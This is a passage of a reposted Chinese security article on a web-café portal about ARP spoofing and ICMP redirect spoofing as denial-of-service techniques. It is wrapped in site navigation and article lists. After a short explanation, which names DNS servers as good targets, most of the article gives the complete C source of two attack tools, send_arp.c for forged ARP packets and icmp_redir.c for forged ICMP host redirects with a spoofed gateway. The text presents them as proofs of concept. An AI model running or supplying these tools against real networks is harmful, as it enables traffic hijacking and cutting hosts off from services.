在线咨询
微博
网吧论坛
搜索
2022网吧解封最新消息
游戏预警
APP下载
开网吧
开网咖
开电竞酒店
网吧转让
网吧供求
关注公众号
网吧联盟论坛
网吧系统
┊
网吧经营
┊
网吧无盘
网维干货
┊
电竞酒店
┊
网咖转型
网吧论坛
┊
服务器
┊
网吧专题
首 页
网吧网咖
天下网咖
网吧无盘
网吧技术
网吧经营
电竞酒店
网吧方案
网吧路由
网吧系统
网吧图库
系统开号
搜索
天下网吧小程序
网吧特权、加速器服务
网吧系统账号开号
电竞酒店系统安装维护
本日游戏更新信息
网吧政策
网吧管理
网吧经营
网吧热点
网吧配机
网吧装修
网吧转让
网吧业界
网吧游戏
技术论坛
网吧系统
无盘技术
软件技术
硬件技术
网络技术
网吧路由
网吧安全
网吧故障
网吧计费
技术论坛
无盘教程
无盘优化
无盘工具
无盘配机
无盘故障
无盘技术
无盘经验
无盘施工秀
无盘品牌
无盘网吧
无盘下载
企业无盘
配机方案
网络方案
软件方案
整体方案
游戏管理
无盘方案
方案分析
故障方案
方案实例
无线方案
企业方案
安全方案
装修方案
综合体
网吧政策
网吧经营
网吧展示
网吧装修
网吧配机
产品评测
产品导购
最新动态
配机展示
网咖经营
网咖欣赏
网咖装修
网咖微信营销
网咖动态
网咖配机
网咖转型
网咖水吧
网咖VR
电竞网咖
网咖桌椅
网咖家具
网吧路由教程
网吧路由下载
网吧路由脚本
网吧路由工具
网吧路由故障
网吧路由经验
网吧路由品牌
网吧路由施工
网吧加速器
网吧路由论坛
电竞酒店系统
电竞酒店配置
电竞酒店管理
开电竞酒店
天下电竞
电竞酒店装修
电竞酒店网络
系统教程
系统介绍
系统资讯
系统优化
桌面系统
系统展示
游戏系统
系统下载
系统动态
网吧键鼠
推荐网吧图
系统桌面图
网吧机器图
网吧环境设施
网吧软件图
网吧装修图
网吧壁纸
综合体
网吧硬件
网咖、电竞酒店
正版云更新开号
马蹄更新
网维大师
易乐游
信佑
锐起
网众
其他系统
网吧论坛
天下网吧
>>
网吧天地
>>
网吧技术
>>
网吧安全
>> 正文
ARP欺骗和ICMP欺骗催生新DOS工具
2009-8-11
赛迪网
佚名
【
大
中
小
】
二、ICMP重定向
另外一个比较有效的并且类似与ARP欺骗的手段是利用另外一个正常的协议——ICMP重定向。这种重定向通常是由你的默认路由器发来的,通告你有一个到达某一网络的更近的路由。最初,既可以通告网络重定向,也可以通告主机的重定向,但是现在,由于网络重定向被否决,仅剩下了主机重定向。正确的制作一个经过完整检查的ICMP包(必须由默认路由器发来,发向重定向机器,新的路由应该是一个网络的直接连接等等),接收者会对系统的路由表进行更新。
这是ICMP的安全问题。伪装一个路由器的IP地址是简单的,icmp_redir.c正是作的这个工作。RFC声明系统必须遵循这个重定向,除非你是路由器。实际上几乎所有的系统都支持这一点(除了vanilla Linux 2.0.30)。
ICMP重定向提供了一个非常有力的DoS工具。不像ARP缓存更新,路由表不存在的过期问题。并且不需要在本地网络,你可以发起攻击从任何地方。所以当目标接受了ICMP重定向之后(包确切抵达),目标就不会再和网络上的一些机器进行通讯(是的,并不是所有的机器,但是一些与目标机器不在同一个网络上的机器)。域名服务器会是一个非常好的攻击目标。
/* send_arp.c
这个程序发送ARP包,由使用者提供源/目的IP和网卡地址。编译并运行在Linux环境下,
也可以运行在其它的有SOCK_PACKET的Unix系统上。
这个程序是对上述理论的验证,仅此而已。
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ETH_HW_ADDR_LEN 6
#define IP_ADDRR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define DEFAULT_DEVICE "eth0"
char usage[]={"send_arp: sends out custom ARP packet.n
tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addrnn"};
struct arp_packet {
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);
int main(int argc,char** argv){
struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
if(argc != 5)die(usage);
sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
perror("socket");
exit(1);
}
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);
get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);
get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);
memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}
void die(char* str){
fprintf(stderr,"%sn",str);
exit(1);
}
void get_ip_addr(struct in_addr* in_addr,char* str){
struct hostent *hostp;
in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
if( (hostp = gethostbyname(str)))
bcopy(hostp->h_addr,in_addr,hostp->h_length);
else {
fprintf(stderr,"send_arp: unknown host %sn",str);
exit(1);
}
}
}
void get_hw_addr(char* buf,char* str){
int i;
char c,val;
for(i=0;iif( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");
*buf = val << 4;
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");
*buf++ = val;
if(*str == ':')str++;
}
}
/* icmp_redir.c
本程序由用户提供的网关地址发送了一个ICMP主机重定向数据包。在Linux2.0.30上测试通过,并且对大多数的Unix机器有效。
这个程序是对上述理论的验证,仅此而已。
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define IPVERSION 4
struct raw_pkt {
struct iphdr ip; /* This is Linux-style iphdr.
Use BSD-style struct ip if you want */
struct icmphdr icmp;
struct iphdr encl_iphdr;
char encl_ip_data[8];
};
struct raw_pkt* pkt;
void die(char *);
unsigned long int get_ip_addr(char*);
unsigned short checksum(unsigned short*,char);
int main(int argc,char** argv){
struct sockaddr_in sa;
int sock,packet_len;
char usage[]={"icmp_redir: send out custom ICMP host redirect packet.
yuri volobuev'97n
tusage: icmp_redir gw_host targ_host dst_host dummy_hostn"};
char on = 1;
if(argc != 5)die(usage);
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
perror("socket");
exit(1);
}
sa.sin_addr.s_addr = get_ip_addr(argv[2]);
sa.sin_family = AF_INET;
packet_len = sizeof(struct raw_pkt);
pkt = calloc((size_t)1,(size_t)packet_len);
pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_ICMP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(argv[1]);
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));
pkt->icmp.type = ICMP_REDIRECT;
pkt->icmp.code = ICMP_REDIR_HOST;
pkt->icmp.checksum = 0;
pkt->icmp.un.gateway = get_ip_addr(argv[4]);
memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
pkt->encl_iphdr.protocol = IPPROTO_IP;
pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
pkt->encl_iphdr.check = 0;
pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
sizeof(struct iphdr));
pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
sizeof(struct raw_pkt)-sizeof(struct iphdr));
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
perror("setsockopt: IP_HDRINCL");
exit(1);
}
if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}
void die(char* str){
fprintf(stderr,"%sn",str);
exit(1);
}
unsigned long int get_ip_addr(char* str){
struct hostent *hostp;
unsigned long int addr;
if( (addr = inet_addr(str)) == -1){
if( (hostp = gethostbyname(str)))
return *(unsigned long int*)(hostp->h_addr);
else {
fprintf(stderr,"unknown host %sn",str);
exit(1);
}
}
return addr;
}
unsigned short checksum(unsigned short* addr,char len){
register long sum = 0;
while(len > 1){
sum += *addr++;
len -= 2;
}
if(len > 0) sum += *addr;
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
return ~sum;
}
上一页
1
2
3
下一页
本文来源:
赛迪网
作者:佚名
上一篇文章:
热门视频隐藏安全威胁 暑期变“寒”假
下一篇文章:
IPC与Telnet入侵的介绍和应用
相关文章
在win7环境删除arp病毒的教程
教你破解win8系统rar格式压缩软件的密码
宁波Alienware网咖,已经不是“壕”能形容了
微软Office增加对MacBook Pro Touch Bar的支持
石家庄Alienware-v5网咖,专属游戏的世界
合肥carry网咖,一眼就忘不了
电脑中了ARP病毒导致不能上网的处理办法
装Marvell网卡的电脑升级win10网络连不上
找红包和复原朝阳门 这一次在AR上BAT出现了品味差距
联想2017款ThinkPad X1 Carbon曝光:外形时尚配置高端
聚合推荐
2022年网吧恢复营业时间
网吧卫生
网吧电脑配置
开网吧
网吧键盘
网吧配置
网吧GHOST
ROS
网吧软件故障解决
网众无盘
网吧游戏菜单
网吧活动
网吧优化
网吧精品
网吧新手
声明
声明:本站所发表的文章、评论及图片仅代表作者本人观点,与本站立场无关。文章是出于传递更多信息之目的。若有来源标注错误或侵犯了您的合法权益,请作者持权属证明与本网联系,我们将及时更正、删除,谢谢。 Email:support@txwb.com,系统开号,技术支持,服务联系微信:
_WX_1_
本站所有有注明来源为天下网吧或天下网吧论坛的原创作品,各位转载时请注明来源链接!
天下网吧·网吧天下
推荐文章
网吧显卡、CPU装X工具及C#源码下载和分析
本工具为修改网吧客户机系统/家用机电脑的设备管理器和,我的电脑属性里面的有关CPU和显卡标题的工具。本工具包含源码效果截
上海:网吧行业开放意愿强烈,除KTV外,「视情严而有序逐步开放」
天下网吧消息,近日「上海发布」的官方微信公众号发布了《我市KTV场所暂缓开放,其他娱乐行业场所根据各区疫情防控形势,视情
·
网吧显卡、CPU装X工具及C#源码下载和分析
·
上海:网吧行业开放意愿强烈,除KTV外,「视情严而有序逐步开放」
·
新手去网吧玩啥?对新手友好的几个网吧好玩的游戏推荐
·
嘿,听说你会局域网测速?那你用过这么高大上的带实时曲线图的测
·
适合开网吧和开网咖的经营者制定的《网吧会员制度》,docx
·
6月26日晚起突然大规模爆发Q友群发/私发XX图、各种X博图片公告
·
惊现李鬼版WeGame登陆界面,网吧、电竞酒店赶紧来查看你家网吧中
·
网吧WeGame需要扫码登陆,这个群友是这么解决的
·
网咖会员等级怎么分类?看完《打造网吧特色会员制》doc你啥都会了
·
三种网咖电脑配置方案,高中低三挡,最新主流网吧电脑配置,清一
最新文章
网吧传单设计与派发统计全详解,新手网吧发传单攻略文档
很多网吧在自我宣传的时候都会选择发传单这个方法,但是从简单的制作到后来讨论到派发。到如何去统计传单带来的效果。传单和纸巾
2022年7月9日全网最低显卡价格简报,显卡价格非常平稳。
天下网吧消息,7月9日全网最低显卡价格整理简报,本简报来自多个平台的在线销售价格的数据整理,每日全网显卡价格汇总。今日发
·
网吧传单设计与派发统计全详解,新手网吧发传单攻略文档
·
2022年7月9日全网最低显卡价格简报,显卡价格非常平稳。
·
早啊,读懂天下时间——2022-07-09
·
2022-07-09日游戏更新信息,网吧、电竞酒店敬请关注(6)
·
腾讯QQ MacOS版发布6.8.0,修复一些已知问题
·
《永劫无间》将于8月19日上新地图——火罗国
·
2022年7月8日全网最低显卡价格简报,40系列显卡将按期发布
·
AMD官方回应:目前正在调查 450 Gb 数据泄露事件
·
都解封了为什么网吧不让开?
·
网吧到底是满16还是18?权威科普一下,免得你白走一趟
本周热门
本月热门
阅读排行
·
上海:网吧行业开放意愿强烈,除KTV外,「视情严而有序逐步开放」
·
网吧传单设计与派发统计全详解,新手网吧发传单攻略文档
·
2022年7月9日全网最低显卡价格简报,显卡价格非常平稳。
·
2022-07-09日游戏更新信息,网吧、电竞酒店敬请关注(6)
·
早啊,读懂天下时间——2022-07-09
·
腾讯QQ MacOS版发布6.8.0,修复一些已知问题
·
《永劫无间》将于8月19日上新地图——火罗国
·
2022年7月8日全网最低显卡价格简报,40系列显卡将按期发布
·
AMD官方回应:目前正在调查 450 Gb 数据泄露事件
·
都解封了为什么网吧不让开?
·
避免第一次去网吧的尴尬,首次去网吧的基础知识科普
·
局域网性能测试工具txwb_iperf发布2.0 0628版本,网维人员比
·
嘿,听说你会局域网测速?那你用过这么高大上的带实时曲线图的测
·
网咖会员等级怎么分类?看完《打造网吧特色会员制》doc你啥都会了
·
网吧顾客公认的吃鸡手感好、压枪好的鼠标排名,前三名真的nice!
·
适合开网吧和开网咖的经营者制定的《网吧会员制度》,docx
·
去网吧上网的通用流程,避免去网吧上网的尴尬
·
6月26日晚起突然大规模爆发Q友群发/私发XX图、各种X博图片公告
·
C#监视系统服务、定时重启服务源码,比如定时重启马蹄网吧游戏更
·
新手去网吧玩啥?对新手友好的几个网吧好玩的游戏推荐
·
网吧员工服务态度怎么抓上去,我网吧的员工都是面无表情的00后
·
网吧千兆低成本升级方案:2.5G到桌面
·
网吧和电竞酒店使用的系统教程和下载,网吧服务器教程
·
最近网吧老被盗号,分享一款工具可以有效防止盗号
·
英雄联盟进不去,卡「重新连接」界面,网吧网管是这么解决的
·
2022年开网吧服务器电脑配置方案三套
·
自从干了网吧,成了人下人了,见谁都低声下气,除了这种人。。
·
从23个习惯中可以看出你是不是老网管呢
·
带120台以上的大型网吧/电竞酒店游戏更新服务器配置
·
网吧的英雄联盟掉帧、卡顿,CF卡顿,他是这么解决的...
正在加载..